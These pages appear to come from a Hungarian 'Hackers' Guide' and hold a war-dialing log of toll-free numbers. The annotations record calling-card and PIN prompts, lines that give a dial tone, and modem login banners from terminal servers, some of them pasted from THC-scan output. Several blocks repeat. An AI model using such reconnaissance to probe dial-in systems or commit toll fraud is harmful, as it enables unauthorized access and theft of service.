0680012609 - Your call cannot be completed........ 0680012642 - Welcome to mond vmi nevet..for english press one..stb 0680012621 - Vmi card service..extreme nyelveken mondja ;D 0680012657 - Your call cannot be..... 0680012646 - CSorgott vagymi es utana foglalt lett...ehhe 0680012788 - Your call cannot be completed as dial.. 0680012788 - Your call cannot be completed as dial.. 0680012768 - Mariqu UNO for espanyol, 2 for english 0680012787 - THank you for calling...vmi. All our people busy at this time, pls levae a message with your name.. 0680012774 - Your call cannot be completed...aa 0680012771 - VKI FELVEttte...vmi no es ANGOL .. 0680012759 - Good evening :D Thank you for calling..vmi. Now we closed..stb 0680012764 - Your call cannot be.. 0680012756 - Your call cannot be.. 0680012757 - Your call cannot be.. 0680012777 - Your call cannot be.. 0680012708 - Your call cannot be..de elotte csorog 2-t 0680012739 - Kicseng.. 0680012706 - HHHM EZ OLYAN MINTHA VONAL LENNE...EHHHE..telefonrol ujrahivom ott meg cseng es fax felveszi...ehg 0680012760 - Vmit beszelnek...for spanyol press izee ASSZEM . 0680012769 - Your call cannot be....miafene ez?!?! 0680012732 - Your call cannot be....miafene ez?!?! 0680012779 - Your call cannot be....miafene ez?!?! 0680012766 - Your call cannot be....miafene ez?!?! 0680012776 - Your call cannot be....miafene ez?!?! 0680012741 - Your call cannot be....miafene ez?!?! 0680012730 - Your call cannot be....de elotte cseng 1t...MI EZ/!??! 0680012709 - Hello! You're reached vmilyen office. Pls leave a msg.. 0680012790 - Your call...MI A FENE EZ/?!?! 0680012735 - Your call...MI A FENE EZ/?!?! 0680012740 - Your call...MI A FENE EZ/?!?! 0680012727 - Hulla csend...var vmire?! 0680012772 - Jezusom vmi no felvette nemtudom mijen nyelven dumalt..kinainak tunt..EH. 0680012722 - Your calll......de elotte csorgott! 0680012778 - Your calll...... 0680012794 - Your calll...... 0680012765 - Your calll...... 0680012763 - Your calll...... 0680012717 - Your calll...... 0680012782 - Welcome to vmi. Pls enter your card number, for customer service press zero. 0680012755 - Your call............... 0680012702 - Kicseng.. 0680012733 - Your call..MIAFENE EEEEEEEEEEEEEEZ?!?! 0680012715 - Vmi GTS World access. Card number-t ker.. 0680012707 - Kicseng 0680012773 - YOUR CALLLLLLL>>>>>>>>>>>

300

Hackers’ Guide

0680012798 - YOUR CALLLLLLL>>>>>>>>>>> 0680012703 - The number you called cannot be reached from your calling area. 0680012775 - Number you has dialed is changed...mondja az ujat. 0680012737 - Your calll........................ 0680012762 - Csorgott es mintha felvettek volna utana meg foglalt lett 0680012799 - Your call cannot be........... 0680012795 - Your call cannot be........... 0680012736 - Your call cannot be........... 0680012729 - Hulla csend... 0680012704 - Ha jolhallom ez vmi MacroMedia support akar lenni.. 0680012758 - YOUR CALLL........ANYAD 0680012700 - Pls enter your occariotan code now vagymi 0680012783 - Vmi there's no service in this number. Pls check the number you dialed..ehhe. 0680012789 - Your calll 0680012714 - Kicseng parat es utana hulla csend lesz. 0680012734 - Your callllll 0680012767 - Your callllll 0680012797 - Your callllll 0680012780 - Your callllll 0680012744 - Your call cannot be............ 0680012711 - Vmi no felveszi..vmit mondd..sokaig nem szolok: Hallo there? 0680012753 - UJRAHIVNI...beep beeep beepp..matav sucks 0680012718 - YOUR CALL CANNOT BE 0680012712 - FOGLALT ( NEM magyar ) 0680012781 - Kicseng 0680012761 - This is a VoiceMailSystem. 0680012738 - Your call cannot be 0680012752 - Good morning! Faszi felvetteee 0680012796 - Your call cannot be......... 0680012786 - Kicseng 0680012719 - Your call cannot be 0680012803 - Number you have dialed is not in serice..FURA hang. 0680012811 - Your call........ 0680012834 - Your call........ 0680012867 - Jezusom mien hang...not avaible from your calling area..HANG-t hallani kell :D 0680012839 - Your call cannot be 0680012873 - Pls enter your vmi number. 0680012821 - Vmi gep: NOT IN MCI vagymi...if you're MCI customer..stb 0680012837 - Vmi corporation...es vmi number..es back shortly..ennyit ertek. 0680012804 - Vmi Indic international customer service. 0680012832 - Your call...... 0680012841 - Your call...... 0680012838 - Your call...... 0680012846 - Guten abend! Vmi customer service 0680012863 - Qqqrvahalkan motyog egy no vmit 0680012825 - Your call 0680012815 - Pls enter you occparoation code now. 0680012853 - Kicseng

301

Hackers’ Guide

0680012882 - Kicseng 0680012848 - Temporaly unavaible..pls try later. 0680012864 - Tok csend majd ido utan foglalt lesz..magyar jelzessel 0680012833 - Zene es vmit beszel...elmondja 2szer majd bont.. 0680012858 - Welcome to vmi...pls enter you lang code now 0680012870 - Card number and four ID.. 0680012878 - Bti networking..if you know your party's extension press one..ez CHAT akar lenni?! 0680012852 - Not avaible from you calling area..FURA HANG ;]] 0680012845 - Vmit dumall..house name or confirmation code...eeee 0680012814 - CSend majd foglalt lesz..magyar jelzes. 0680012884 - For blue box pls press 2...ocf system press one. 0680012869 - Kicseng es ott mond egy szamot majd bont. 0680012896 - NOO FELVETTTE de nemertem mit mondd..erdekes a 2db kattanas miutan lerakta..gondolom 1ik kattanaas visszakapcsol a mo-i telefonrendszerbe.. 0680012875 - Enter you calling card number now. 0680012847 - Guten abend. Customer service...mint az elobbi ijen 0680012894 - PIN-t ker ha jolhallom 0680012885 - Our office ours are monday to friday... 0680012816 - Opp code-t kert eloszor aztan VONALAT ADOTTTTTT 0680012816 - Opp code-t kert eloszor aztan VONALAT ADOTTTTTT 0680012849 - NO FELVESZI...Welcome to...izee.. 0680012635 - 4csorges utan vmi angol rogzito felveszi 0680012614 - Nemet...giebe sie diese account number ein. 0680012647 - Your call cannot be..... 0680012666 - EF NINCS 0680012676 - EF NINCS 0680012688 - EF NINCS 0680012680 - EF NINCS 0680012662 - EF NINCS 0680012619 - 4csorges utan: welcomen sie...vmi duma...de magyarul csorog ;] 0680012607 - Pls enter your card number now. 0680012645 - Vmit beszel..Office hours are...stb.. 0680012603 - Olyan mintha kicsengene de qrvafura hangja van 0680012632 - Sorry is this number is no longer in service. 0680012622 - Pls enter opp code now..csomo nyelven elmondja meg 0680012628 - Sorry but the number you called is not in service at this time or it cannot be reached from your calling area.. 0680012634 - Kicseng de eleg mely hagon 0680012615 - Your call cannot be completed as dial.. 0680012660 - Your call cannot be completed as dial.. 0680012639 - Vmit beszel angolul 4csorges utan kb 0680012694 - For english press one,for espanyol pres 3...stb 0680012630 - Sorry there's no one who can take your call..to levase a messsage.. 0680012641 - Your call cannot be completed as dial...... 0680012665 - Your call cannot be completed as dial...... 0680012661 - Your call cannot be completed as dial...... 0680012610 - Your call cannot be completed as dial......de elotttte egy fura hang 0680012633 - Vmi szoveget bemond vmien nyelven.. 0680012654 - Welcome to telekom. Pls enter you card number and pin code

302

Hackers’ Guide

0680012613 - Gecc vki felvette!! VMI ANGOL NOOO EHHHHE 0680012636 - Cseng.. 0680012655 - The toll free number can be reached...elmondja parszor majd foglalt lesz,de angol foglaltjelzessel 0680012623 - Vmi angolul mond de allti halk 0680012637 - Your call cannot be completed as....... 0680012644 - Your call cannot be completed as....... 0680012643 - MailBoX elvileg 0680012617 - Vmi faszi felveszi...ANGOL beszed.. 0680012605 - Uzenetrogzito ha jolhallom....ehhe... 0680012604 - Kicseng de qrvafura hangon.. 0680012608 - Kicseng majd: Your call cannot be completed....... 0680012692 - Welcome to vmi office..pls enter your pin code! 0680012658 - Welcome to the globus. Pls enter the card code followed with the pound key. 0680012659 - VMit beszel...vmi international office vagymi 0680012627 - Kicseng 0680012631 - Your call cannot be completed.... 0680012691 - Vmi faszi felvette..ANGOL beszed + mely csorges. 0680012629 - Sies sie call be autodidaktung..vagymi ;)) 0680012650 - Card number..hatch key..stb 0680012652 - Qrvahalk de mi angol duma megy 0680012651 - Welcome to globus...card code..stb mint az elobbi jen szam 0680012698 - Your call cannot be.......... 0680012697 - Your call cannot be..........de elotte csorog 1-t 0680012602 - Pls enter your card number now. 0680012699 - VMi gep felveszi 3csenges utan 0680012612 - EH na ennek aztan MINDENFELE HANGJA VAN.. 0680012693 - VMi kulfoldi duma...vmi VodaTel vagymi 0680012620 - FAX felveszi 2csorges utan 0680012695 - Your call cannot be completed........ 0680012609 - Your call cannot be completed........ 0680012642 - Welcome to mond vmi nevet..for english press one..stb 0680012621 - Vmi card service..extreme nyelveken mondja ;D 0680012657 - Your call cannot be..... 0680012646 - CSorgott vagymi es utana foglalt lett...ehhe 0680012788 - Your call cannot be completed as dial.. 0680012768 - Mariqu UNO for espanyol, 2 for english 0680012787 - THank you for calling...vmi. All our people busy at this time, pls levae a message with your name.. 0680012774 - Your call cannot be completed...aa 0680012771 - VKI FELVEttte...vmi no es ANGOL .. 0680012759 - Good evening :D Thank you for calling..vmi. Now we closed..stb 0680012764 - Your call cannot be.. 0680012756 - Your call cannot be.. 0680012757 - Your call cannot be.. 0680012777 - Your call cannot be.. 0680012708 - Your call cannot be..de elotte csorog 2-t 0680012739 - Kicseng.. 0680012706 - HHHM EZ OLYAN MINTHA VONAL LENNE...EHHHE..telefonrol

303

Hackers’ Guide

ujrahivom ott meg cseng es fax felveszi...ehg 0680012760 - Vmit beszelnek...for spanyol press izee ASSZEM . 0680012769 - Your call cannot be....miafene ez?!?! 0680012732 - Your call cannot be....miafene ez?!?! 0680012779 - Your call cannot be....miafene ez?!?! 0680012766 - Your call cannot be....miafene ez?!?! 0680012776 - Your call cannot be....miafene ez?!?! 0680012741 - Your call cannot be....miafene ez?!?! 0680012730 - Your call cannot be....de elotte cseng 1t...MI EZ/!??! 0680012709 - Hello! You're reached vmilyen office. Pls leave a msg.. 0680012790 - Your call...MI A FENE EZ/?!?! 0680012735 - Your call...MI A FENE EZ/?!?! 0680012740 - Your call...MI A FENE EZ/?!?! 0680012727 - Hulla csend...var vmire?! 0680012772 - Jezusom vmi no felvette nemtudom mijen nyelven dumalt..kinainak tunt..EH. 0680012722 - Your calll......de elotte csorgott! 0680012778 - Your calll...... 0680012794 - Your calll...... 0680012765 - Your calll...... 0680012763 - Your calll...... 0680012717 - Your calll...... 0680012782 - Welcome to vmi. Pls enter your card number, for customer service press zero. 0680012755 - Your call............... 0680012702 - Kicseng.. 0680012733 - Your call..MIAFENE EEEEEEEEEEEEEEZ?!?! X?!0680012715 - Vmi GTS World access. Card number-t ker.. 0680012707 - Kicseng 0680012773 - YOUR CALLLLLLL>>>>>>>>>>> 0680012798 - YOUR CALLLLLLL>>>>>>>>>>> 0680012703 - The number you called cannot be reached from your calling area. 0680012775 - Number you has dialed is changed...mondja az ujat. 0680012737 - Your calll........................ 0680012762 - Csorgott es mintha felvettek volna utana meg foglalt lett 0680012799 - Your call cannot be........... 0680012795 - Your call cannot be........... 0680012736 - Your call cannot be........... 0680012729 - Hulla csend... 0680012704 - Ha jolhallom ez vmi MacroMedia support akar lenni.. 0680012758 - YOUR CALLL........ 0680012700 - Pls enter your occariotan code now vagymi 0680012783 - Vmi there's no service in this number. Pls check the number you dialed..ehhe. 0680012789 - Your calll 0680012714 - Kicseng parat es utana hulla csend lesz. 0680012734 - Your callllll 0680012767 - Your callllll 0680012797 - Your callllll 0680012780 - Your callllll

304

Hackers’ Guide

0680012744 - Your call cannot be............ 0680012711 - Vmi no felveszi..vmit mondd..sokaig nem szolok: Hallo there? 0680012753 - UJRAHIVNI...beep beeep beepp..matav sucks 0680012718 - YOUR CALL CANNOT BE 0680012712 - FOGLALT ( NEM magyar ) 0680012781 - Kicseng 0680012761 - This is a VoiceMailSystem. 0680012738 - Your call cannot be 0680012752 - Good morning! Faszi felvetteee 0680012796 - Your call cannot be......... 0680012786 - Kicseng 0680012719 - Your call cannot be 0680012803 - Number you have dialed is not in serice..FURA hang. 0680012811 - Your call........ 0680012834 - Your call........ 0680012867 - Jezusom mien hang...not avaible from your calling area..HANG-t hallani kell :D 0680012839 - Your call cannot be 0680012873 - Pls enter your vmi number. 0680012821 - Vmi gep: NOT IN MCI vagymi...if you're MCI customer..stb 0680012837 - Vmi corporation...es vmi number..es back shortly..ennyit ertek. 0680012804 - Vmi Indic international customer service. 0680012832 - Your call...... 0680012841 - Your call...... 0680012838 - Your call...... 0680012846 - Guten abend! Vmi customer service 0680012863 - Qqqrvahalkan motyog egy no vmit 0680012890 - CARRIER akar lenni de mar az elejen megszakad...ehhhhe 0680012825 - Your call 0680012815 - Pls enter you occparoation code now. 0680012853 - Kicseng 0680012882 - Kicseng 0680012848 - Temporaly unavaible..pls try later. 0680012864 - Tok csend majd ido utan foglalt lesz..magyar jelzessel 0680012833 - Zene es vmit beszel...elmondja 2szer majd bont.. 0680012858 - Welcome to vmi...pls enter you lang code now 0680012870 - Card number and four ID.. 0680012878 - Bti networking..if you know your party's extension press one..ez CHAT akar lenni?! 0680012852 - Not avaible from you calling area..FURA HANG ;]] 0680012845 - Vmit dumall..house name or confirmation code...eeee 0680012814 - CSend majd foglalt lesz..magyar jelzes. X!!!0680012884 - For blue box pls press 2...ocf system press one. 0680012869 - Kicseng es ott mond egy szamot majd bont. 0680012896 - NOO FELVETTTE de nemertem mit mondd..erdekes a 2db kattanas miutan lerakta..gondolom 1ik kattanaas visszakapcsol a mo-i telefonrendszerbe.. 0680012875 - Enter you calling card number now. 0680012847 - Guten abend. Customer service...mint az elobbi ijen 0680012894 - PIN-t ker ha jolhallom 0680012885 - Our office ours are monday to friday...

305

Hackers’ Guide

0680012816 - Opp code-t kert eloszor aztan VONALAT ADOTTTTTT 0680012816 - Opp code-t kert eloszor aztan VONALAT ADOTTTTTT 0680012849 - NO FELVESZI...Welcome to...izee.. 0680012886 - Kicseng 0680012865 - Kicseng 0680012805 - Enter your access code now. 0680012813 - Vmi support service 0680012857 - A hivott szam pillanatnyilag nem elerheto..ehhe 0680012887 - Vmi callaway card service...pin code..stb 0680012824 - Callaway card service vagymi 0680012997 - Kicseng 0680012953 - Vmi nemet izee..action ubergehen vagymi 0680012902 - Pls enter your card number 0680012928 - Cseng.. 0680012929 - We're sorry but number you called is disconnected or it's not in service...FFI hang 0680012955 - Cseng... 0680012918 - Cseng... 0680012996 - EZ VONAL...VONALAAAT ADOTT?!!??! NANEEE 0680012914 - Veiliche disung mit diese telefonnummer...NEMETizee 0680012943 - Faszi felveszii 0680012973 - Csorog.. 0680012932 - Csorog.. 0680012988 - Vmi szirenazo hang..izee mi ez?!?!?! 0680012970 - Cseng.. 0680012994 - !!!!!EEEZ VONAL...VONALAT ADOTT VAGYMI........... 0680012906 - Vmi faszi felvette 0680012983 - Pls enter your pin number now 0680012904 - Cseng... 0680012924 - Pls enter your calling card number 0680012908 - Welcome to arex...blah blah.. 0680012975 - Pls enter your card numb and pin 0680012905 - Cseng.. 0680012968 - Faszi felvette 0680012937 - Cseng 0680012916 - Sorry. The number you dialed is not in use. FURA KIEJTESE VAN..use szot furan mondja 0680012992 - Faszi felvette..nemertem mit mond 0680012977 - Pls enter your card number and pin. 0680012913 - Keines ebindung mit diese telefonnummer. 0680012979 - Pls enter your occration code now. 0680012991 - Eloszor mintha vonalat adna utana var es foglalt lesz magyar jelzessel 0680012927 - Telkozpont szarozik..beep beep beepp..UJRAHIVNI!! 0680012920 - Yezusom ez mien nyelv? Felveszik es vmi faszi beszel szlovenul vagymi. :D 0680012912 - Hmm..hulla csend..egy ido utan elkezd kattogni es foglalt lesz magyar jelzessel 0680012942 - Sorry the called number is not in service. Please call the helpdesk. Thx. 0680012923 - Pls enter you calling card number!

306

Hackers’ Guide

0680012915 - NO FELVETTE! Thank you for choosing vmi... !!!0680012917 - NAGYON ERDEKES!!Atyauritsten ... eloszor fura hangja van sipol 1-t majd meg furabb majd carriernek eszleli..ehhe 0680012967 - Thank you for calling Vmi communication. 0680012954 - NO FELVETTE!! ezt mondta: PRONTO BERTANI! 0680012974 - FASZI felvette...vmi Morocam 0680012941 - HMMM...2apro sipolas majd foglalt lett..ERDEKES!! 0680012972 - Keines ebindung diese telefonnummber. 0680012993 - Welcome to ACCESS INTERNATIONAL. Pls enter your occration code now. 0680012938 - Welcomte to other boys information system. If you have a mailbox on this system press pound...meg vmit mond 0680012945 - The number you have dialed is not avaible from your calling area. 0680012919 - Vmi customer service center. 0680012944 - Pls enter your calling card number 0680012144 - Hulla csend majd foglalt lesz 0680012198 - Vmi NO FELVESZI..Can i help you? 0680012142 - Ihre geben sie kundet nummer ein. 0680012137 - Vmi beszel majd Connect to Citybank CHILE...es csorog tovabb. 0680012140 - We're sorry your call cannot go trough vagymi.. 0680012173 - Welcome to vmi...igen halk. 0680012192 - Pls enter your pin code. 0680012136 - Vmit beszel.Connect to Citybank COLONIA..es csorog tovabb. 0680012124 - Vmit beszel..Connectio to CityBank MERAZZio..hmm 0680012113 - VONALAT ADOTT vagymi..beutod a 9#-t akkor bemondja: You're reached the verification area. Your call cannot be completed as dial. If you feel this error report to the long disctance telco es mondja a szamot... 0680012116 - Welcome to vmi card service..50fele nyelven elmondja es vmi kinaival kezdi ;] 0680012108 - The number you has dialed changed to seven digits. 0680012135 - Welcome to Silicon Bankes vagymi..to countine in english press... 0680012167 - Vmi rogzito felveszi, vmi no beszel rajta de nemertem mert hallk 0680012186 - Vmit beszel..a szam megvaltozott..International Long disctance..stb. 0680012184 - Thx for call comp***izee helpdesk 0680012125 - VMI faszi felvette...What can i help to you? 0680012154 - Number you dialed is not in use..USE-t FURAN mondja.. 0680012118 - Hmmm...for NEW vmi press two...MEGKELLENE NEZNI TELEFONROL EZt. 0680012181 - Welcome to vmi...pls enter your extension and pound side vagymii 0680012163 - HUBAZ ez mi?!?! Mien nyelv..vmi no beszel(gep) 0680012182 - On a Holdanie helyfoglalo kozpontot hivta. Sajnos jelenleg minden kollega foglalt! Tartsa a vonalat. 0680012141 - Jezusom vmit beszel nemetul..asszem uj szam.. 0680012152 - Called number is not avaible from your calling area. 0680012164 - Vmi Alogic international..Check your mail press one. Leave a message press two. KIPROBALNI TELEFONROL 0680012169 - Vmit dumal...asszem VMB.. 0680012174 - Your call... 0680012132 - Cseng.. 0680012195 - FOr english press 2 , for deutsch press..

307

Hackers’ Guide

0680012100 - Thx for calling! Enter your card code vagymi 0680012126 - Cseng/ 0680012159 - Cseng;/ 0680012117 - Thx for calling vmi izzee... 0680012105 - Kicseng majd 2 csenges utan VONALAT AD VAGYMI..... 0680012127 - Nemtoom ez mien nyelv..vmi duma 0680012139 - Pi vmi OLASZ duma 0680012138 - Thx for calling CitiBank! All cals are recorded. Pls hold for the next free assistant vagymi 0680012107 - Vmi no felvette..ATT Thx for calling vagymi 0680012123 - Welcome to vmi calling card..enter numba 0680012193 - Nemerrrtem mit mond mer ez a qrva modem sipol :) VMi you reached.. 0680012191 - Jezusom ez mien nyelv...vmit duma 0680012106 - Thx for calling! Enter your ???? code 0680012183 - Card number.. 0680012161 - Vmi izee system. Lang select..english for 2...stb 0680012121 - NEMEEEEERTEM MAGYAR VMI de nemertem..vminek a kozpontja fogadta hivaaasat.. 0680012157 - Cseng.. 0680012122 - Cseng 0680012153 - Nebaz ez vmi kinai nyelv... 0680012199 - Welc...card number.. 0680001247 - Vmit dumal...eloszor vmi kinai nyelven de utana angolul is .. TELEFONROL MEGNEZNI! 0680012175 - We're sorry. Number you've dialed disconnected or.. 0680012155 - Pls enter you card number 0680012197 - Cseng.. 0680012120 - Press one for english...TELEFONROL MEGNEZNI 0680012150 - Pls holding until connecting CITIBANK CANADA ;DDD 0680012185 - Vmit beszel tok halkan..utana meg pls enter you card number now es fura hang 0680012146 - Citibank VENEZUELA...vmit beszel elotte vmien nyelven ;] 0680012143 - Cseng 0680012187 - Vmi no felveszi es mondja: PRONTO! 0680012156 - Mintha kicsengene vagy vonalat ad oan hangja van utana foglalt lesz magyar jelzessel 0680012119 - Thx for calling USTT vagymi...1 for poverty service..TELEFONROL MEGNEZNI! 0680012170 - Kurvahalk...vmi card nmber ha jolhallom 0680012115 - Cseng 0680012129 - Baz mintha VONALAT AD/na/ de tok sokaig majd magyarul foglalt lesz.. 0680012226 - Pin number followed pound 0680012248 - Csengett majd foglalt let 0680012267 - Pls enter you card numa and pin

========== CaRrIeRs ========== !?0680012897 - CARRIER de mindig megszakad..

308

Hackers’ Guide

0680012571 - 14400bps..term : semmi Lvileg NT 0680012542 - [[ Welcome to 3Com Total Control HiPer ARC (TM) Networks That Go The Distance (TM) login: ]] 0680012543 - ugyanaz mint az elobbi ( 42-es) 0680012544 - ugyanaz mint az elobbi ( 43-as) 0680012533 - login: 0680012534 - Matrox Terminal server 0680012538 - [[ ACCESS AND USE OF THIS COMPUTER SYSTEM BY ANYONE WITHOUT THE PERMISSION OF THE OWNER IS STRICTLY PROHIBITED BY STATE AND FEDERAL LAWS AND MAY SUBJECT AN UNAUTHORIZED USER, INCLUDING EMPLOYEES NOT HAVING AUTHORIZATION, TO CRIMINAL AND CIVIL PENALTIES AS WELL AS COMPANY- INITIATED DISCIPLINARY ACTION.

User Access Verification

astrr4-Login: ]] 0680012539 - astrr3-Login: (ugyanaz mint a felso) 0680012540 - [[ At the login prompt, type your email ID. Then press the <ENTER> key.

At the password prompt, type your private PIN immediately followed by the 6 digit code displayed on your SecurID card. Then press the <ENTER> key.

login: ]]

0680012626 - ** Ascend Pipeline Terminal Server ** 0680012685 - NT - guest-re kiirja: nincs bemeno tarcsazasi engedelye.. 0680012640 - ** Ascend TNT Terminal Server ** 0680012723 - MOREdial...ugyanaz mint az alatta levo...term-ban enter! 0680012725 - [[ Welcome to the Missouri Express Project! This system is maintained by MOREnet

Please enter your Username at the "Username:" prompt, then enter your password at the "Password:" prompt. Guests may login to a guest text account by using the Username "guest" and the password "visitor". This is the first of two times you will be asked to login.

309

Hackers’ Guide

PPP access is restricted to PAP authentication only. Please contact your local help desk with any questions regarding this.

User Access Verification ]] 0680012705 - Starting SecurID Authentication...User ID: 0680012770 - TH 0680012880 - NT ( guest-re kijon a nevkero ablak 5 probat enged ) 0680012859 - Enter ID: guest SNK Challenge: 0680012850 - NT ( guest: a fiok nem aktiv.. ) 0680012892 - Na ennek aztan mindenfele hangja volt majd megszakadt.. 0680012898 - NT ( guest: a fiok nem aktiv.. ) 0680012877 - [[ Use of this system is restricted to authorized users only. All activities on this system are subject to monitoring and recording by system personnel. Further use of this system by authorized users demonstrates consent of the details in the Remote Access Security Policy, available on I/T's internal web site.

Login: ]] 0680012960 - @ Userid: 0680012907 - a a a a a a a a a a a a a a a a a a a a a a a a a A 0680012984 - TH 0680012963 - @ Userid: 0680012962 - @ Userid: 0680012921 - User Access Verification Username: 0680012956 - TH 0680012149 - ** Telstra DialConnect ** Username:

0680012368 - Conn type panasz 0680012302 - [[Please press <Enter>... Enter password: ]] 0680012311 - [[Private Use Only TrialPOP-1 login: ]] 0680012316 - NT(term ures) 0680012346 - ha terminalba enter-t nyomok lebont..errdekes...f7-et nyomok lebont..ee 0680012374 - TH..terminal f7 -=> conn type panasz..

-s a következo szakasz sajnos csak a thc-scan logja, neharagudjatok de nincs erom ezt a sokat mint leosztályozgatni...

06800012-47 Comment:Vmit dumal...eloszor vmi kinai nyelven de utana angolul is .. TELEFONROL MEGNEZNI! 06800121-75 Comment:We're sorry. Number you've dialed disconnected or.. 06800121-55 Comment:Pls enter you card number 06800121-97 Comment:Cseng.. 06800121-20 Comment:Press one for english...TELEFONROL MEGNEZNI 06800121-50 Comment:Pls holding until connecting CITIBANK CANADA ;DDD

310

Hackers’ Guide

06800121-85 Comment:Vmit beszel tok halkan..utana meg pls enter you card number now es fura hang 06800121-46 Comment:Citibank VENEZUELA...vmit beszel elotte vmien nyelven ;] 06800121-43 Comment:Cseng 06800121-87 Comment:Vmi no felveszi es mondja: PRONTO! 06800121-56 Comment:Mintha kicsengene vagy vonalat ad oan hangja van utana foglalt lesz magyar jelzessel 06800121-19 Comment:Thx for calling USTT vagymi...1 for poverty service..TELEFONROL MEGNEZNI! 06800121-70 Comment:Kurvahalk...vmi card nmber ha jolhallom 06800121-15 Comment:Cseng 06800121-29 Comment:Baz mintha VONALAT AD/na/ de tok sokaig majd magyarul foglalt lesz.. 06800122-26 Comment:Pin number followed pound 06800122-48 Comment:Csengett majd foglalt let 06800122-67 Comment:Pls enter you card numa and pin 06800122-35 Comment:Vmi MAGYAR NO FELVETTE es vmit beszelt 06800122-22 Comment:Baz nemerteeem..MAGYAR: koszonjuk hogy a ****vmi telefonszamat hivta...irodaink most zarva vannak 06800122-43 Comment:The izee helpline now closed. Our opening hours are.. 06800122-01 Comment:Hello! if you have a fax transmit now...if not press the numer and dial again. 06800122-40 Comment:ERDEKES...cseng 4-t majd moment please..es csend..majd lekattant a modem 06800122-31 Comment:Cseng 06800122-65 Comment:Card numba and pin 06800122-20 Comment:You reached vmi...close now... 06800122-49 Comment:Thx for calling vmi support..can i helpo you? (noo) 06800122-70 Comment:Cseng, nemveszik fel 06800122-13 Comment:Cseng, nemveszik fel 06800122-51 Comment:Vmi access MAILBOX...leave a message es jon a sipszo ami utan dumalhatsz 06800122-99 Comment:Cseng.. 06800122-36 Comment:Keines enbindung mit diese telefonnumer. 06800122-66 Comment:VMi no felvette..nemertem mit mond 06800122-76 Comment:Pls enter you card number and pin! 06800122-87 Comment:Cseng.. 06800122-04 Comment:beep beep bebeppp...tulterhelt telkozpont.wav..UJRAHIVNIIIIIII TELEFONOROOLLLLL 06800122-28 Comment:Press start start now! Enter card number you must say every number ... utana megin vmit beszel es: you switched to the operator.. 06800122-42 Comment:Eloszor vmi tarcaszas hagn aztan: pls wait until your call is transferred...kis ido mulva kicseng de nemveszik fel 06800122-77 Comment:Pls enter your card number and pin 06800122-82 Comment:Citybank vonal de NEMETUL es ugyhallom menus :)) 06800122-25 Comment:Service education is not find vagymi...not have to access this service...nagyon halk 06800122-10 Comment:This is the international operator TEST LINE MAILBOX. Test completed...WOOUW :)))))))) 06800122-56 Comment:You reached a not working number at alcatel virginia vagymi

311

Hackers’ Guide

06800122-06 Comment:Keines ebnindung... 06800122-21 Comment:Cseng majd gep felveszi es: our working hours are.. 06800122-60 Comment:MAGYARUL CSENG KI de nemveszik fel 06800122-39 Comment:Nemertem egeszen: Welcome to vmi...utana menu: Study select one, Wait study select 2..de nemertem mert qrva halk 06800122-44 Comment:Cseng 06800122-58 Comment:YOU REACHED FBI HEADQUARTERS! HEHEHEHE :)))))))))))))))))))))))))))))))))))))))))))))))))))))))) 06800122-74 Comment:Vmi no felveszi...ci eight one what can i help you? ( ha jol eretemm ) 06800122-00 Comment:You reached vmi enegry..our office hours are.. 06800122-64 Comment:Cseng?! Nemtudom miez a hang...foglalt avgy cseng..? 06800122-81 Comment:You reached vmi corporation...our business ours are.. 06800122-69 Comment:You reached vmi center...our open hours are..de nagyoooon halk/ 06800122-29 Comment:Enter vmo number..for other systems please put one and the hatch key. 06800122-96 Comment:Card number and pin 06800122-30 Comment:Hmmmm ennek nagyon olyan hangja mintha VONAL LENNE...eloszor magasabb hang utana melyebb es csomot var majd magyar jelzessel foglalt lesz. 06800122-05 Comment:Pussis di de service hosenemo...ez mien nyelv?!?! :) 06800122-46 Comment:Cseng 06800122-55 Comment:Ha jolhallom MAGYARUL CSENG ki, nemveszikf el 06800122-37 Comment:For Voicemail press 1 06800122-68 Comment:Vmi Citibank helfi vagymi nemertem. 06800122-03 Comment:Pls enter your occapation code now vagymi 06800122-32 Comment:Faszi felvette kicsonges nelkul!! ; 06800122-09 Comment:Cseng... 06800122-80 Comment:MAGYAR FOGLALTJELZEEES!! :D 06800122-71 Comment:beep beep beep SUXX UJRAHIVNIIIIII VALAMIKOR 06800122-78 Comment:Vmi zene utana meg sipszo es tok csend.... 06800122-59 Comment:Cseng ,de MAGYARUUUUL :DDDDD 06800122-61 Comment:Cseng ,de MAGYARUUUUL :DDDDD 06800122-38 Comment:Vmi bank..ugyhallom menus es az opening ourzokat mondja 06800122-19 Comment:VMI nemtoom mien nyelvu no felvette: odae van lien selve zember! ;] 06800123-90 Comment:Pls enter your card number and pin! 06800123-37 Comment:Vmi menus izee party 06800123-71 Comment:HULLA CSEND NEVU SZAM..FELHIVOM VAROK VAROK DE TOK CSEND VAN... 06800123-19 Comment:Thx for calling vmi worldwide station 06800123-84 Comment:Thx for calling vmi...nem er teeeeem :( 06800123-45 Comment:HULLA CSEND 2... 06800123-57 Comment:Card number and pin 06800123-27 Comment:Eight hundred number you haved dialed cannot be reached from your calling area. 06800123-62 Comment:Reacged vmi Instutite corp 06800123-52 Comment:Welcome to ...$??? pls enter your extension and pound side 06800123-50 Comment:PIYt medical system . Pls press ZERO for ONLINE

312

Hackers’ Guide

services..KIPROBALNI! 06800123-88 Comment:Hulla csend...csend csnencs edne 06800123-28 Comment:Thx for calling..our offize ourz areee.. 06800123-17 Comment:Interactive voice and mail system..our offices now closed.. 06800123-00 Comment:Voice mailsystem...press # or press your name to..stb 06800123-56 Comment:Welcome citibank.. 06800123-48 Comment:Csenf majd no felvette 06800123-72 Comment:Mennus valami..KIPROBALNI MEGNEZNI KESOBB 06800123-51 Comment:HULLA CSEND....reidal utan is.. 06800123-43 Comment:A hivott elfozeto uj szama: 533527 . EH? ;] 06800123-97 Comment:Number you dialed is not in uzse. 06800123-95 Comment:Cseng, de MAGYARUL 06800123-06 Comment:Felivom es megy a zene :)))))))))))) ZENEVONAL? ;]]] 06800123-64 Comment:Kicsend ,de magyaruuuul 06800123-55 Comment:Cseng... 06800123-23 Comment:Vmi no felvetttte 06800123-41 Comment:HULLA CSEND.. 06800123-76 Comment:HULLA CSEND.. 06800123-44 Comment:You have didaled a number that is not avaible from your calling area.. 06800123-99 Comment:Number you dialed is not in uzse 06800123-36 Comment:Welcomte to vmi...redirected shortly to..de huje modem sipol es nemeeeeertem 06800123-61 Comment:VMi callover access service europe..pls hold the line... 06800123-70 Comment:Nemet customer service system ;]] woww ;]]] 06800123-58 Comment:Rogizto vette fel vmi faszi dumal rajta 06800123-69 Comment:....corp mailbox system 06800123-81 Comment:HULLA CSEND..... 06800123-21 Comment:Keines ebindung.. 06800123-98 Comment:Not in 